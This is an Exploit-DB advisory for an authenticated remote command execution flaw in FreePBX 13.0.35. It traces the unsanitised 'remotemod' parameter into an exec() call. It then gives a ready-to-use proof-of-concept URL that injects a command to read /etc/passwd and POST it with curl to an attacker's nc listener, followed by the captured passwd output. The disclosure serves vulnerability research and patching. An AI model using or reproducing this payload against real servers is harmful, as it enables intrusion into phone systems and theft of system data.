Exploit-DB #40296
Description: FreePBX 13.0.35 - Remote Command Execution
Type: webapps
Platform: php
Date: 2016-08-29
Author: 0x4148

Exploit:
Vulnerable software : Freepbx
Tested version : 13.0.35
vendor : freepbx.org
Author : Ahmed sultan (0x4148)
Email : 0x4148@gmail.com

Summary : 

FreePBX is a web-based open source GUI (graphical user interface) that controls and manages Asterisk (PBX), an open source communication server,
With over 1 MILLION production systems worldwide and 20,000 new systems installed monthly,
the FreePBX community continues to out-perform the industry's commercial efforts.
The FreePBX EcoSystem has developed over the past decade to be the most widely deployed open source PBX platform in use across the world.

Vulnerability details :

Freepbx suffer from (Authenticated) remote code execution flaw 

Boring technical stuff

File : functions.inc.php

function get_headers_assoc($url) {
global $amp_conf;
if ($amp_conf['MODULEADMINWGET']) {
FreePBX::Curl()->setEnvVariables();
exec("wget --spider --server-response -q ".$url." 2>&1", $wgetout, $exitstatus);
$headers = array();
if($exitstatus == 0 && !empty($wgetout)) {
foreach($wgetout as $value) {
$ar = explode(':', $value);
$key = trim($ar[0]);
        if(isset($ar[1])) {
          $value = trim($ar[1]);
          $headers[strtolower($key)] = trim($value);
        }

the $url is not being sanitized before being passed to the 'exec' function which lead to Command execution flaw
The function is being called at

File : libraries/modulefunctions.class.php

Line 1539 : function handledownload($module_location, $progress_callback = null) {
...................................................
// invoke progress callback
if (!is_array($progress_callback) && function_exists($progress_callback)) {
$progress_callback('getinfo', array('module'=>$modulename));
} else if(is_array($progress_callback) && method_exists($progress_callback[0],$progress_callback[1])) {
$progress_callback[0]->$progress_callback[1]('getinfo', array('module'=>$modulename));
}

$file = basename($module_location);
$filename = $amp_conf['AMPWEBROOT']."/admin/modules/_cache/".$file;

// Check each URL until get_headers_assoc() returns something intelligible. We then use
// that URL and hope the file is there, we won't check others.
-=>>>>>> $headers = get_headers_assoc($module_location);
if (empty($headers)) {
return array(sprintf(_('Failed download module tarball from %s, server may be down'),$module_location));
} 

the handledownload function is called via the admin panel whenever the page.modules.php file is included
which can be basically done using admin/config.php?display=modules

File : page.modules.php

Line 174 : switch ($action) {
..............................
Line 643 : case 'upload':
..............................
Line 658 : $displayvars['processed'] = false;
if (isset($_REQUEST['upload']) && isset($_FILES['uploadmod']) && !empty($_FILES['uploadmod']['name'])) {
$displayvars['res'] = $modulef->handleupload($_FILES['uploadmod']);
$displayvars['processed'] = true;
} elseif (isset($_REQUEST['download']) && !empty($_REQUEST['remotemod'])) {
$displayvars['res'] = $modulef->handledownload($_REQUEST['remotemod']);
$displayvars['processed'] = true;
} elseif(isset($_REQUEST['remotemod'])) {
$displayvars['res'][] = 'Nothing to download or upload';
$displayvars['processed'] = true;
}

the 'remotemod' parameter is passed to exec function without being sanitized , which lead to the mentioned flaw

POC

On attacker's side run nc -lvp 8080

on target's side loginto the panel and then browse to

http://TARGET/admin/config.php?display=modules&action=upload&download=0x4148&remotemod=http://127.0.0.1/junk%26x=$(cat /etc/passwd);curl -d "$x" http://Attacker_server:8080/0x4148.jnk

Result

[0x4148:/lab]# nc -lvp 8080
listening on [any] 8080 ...
DNS fwd/rev mismatch: x.x.x.x != xxxxxx.com
connect to [ATTACKER] from x.x.x.x.x [Target] 45934
POST //0x4148.jnk HTTP/1.1
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: ATTACKER:8080
Accept: */*
Content-Length: 1391
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
asterisk:x:499:498::/home/asterisk:/bin/bash
radiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
openvpn:x:498:497:OpenVPN:/etc/openvpn:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:497:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
prosody:x:496:495::/var/lib/prosody:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin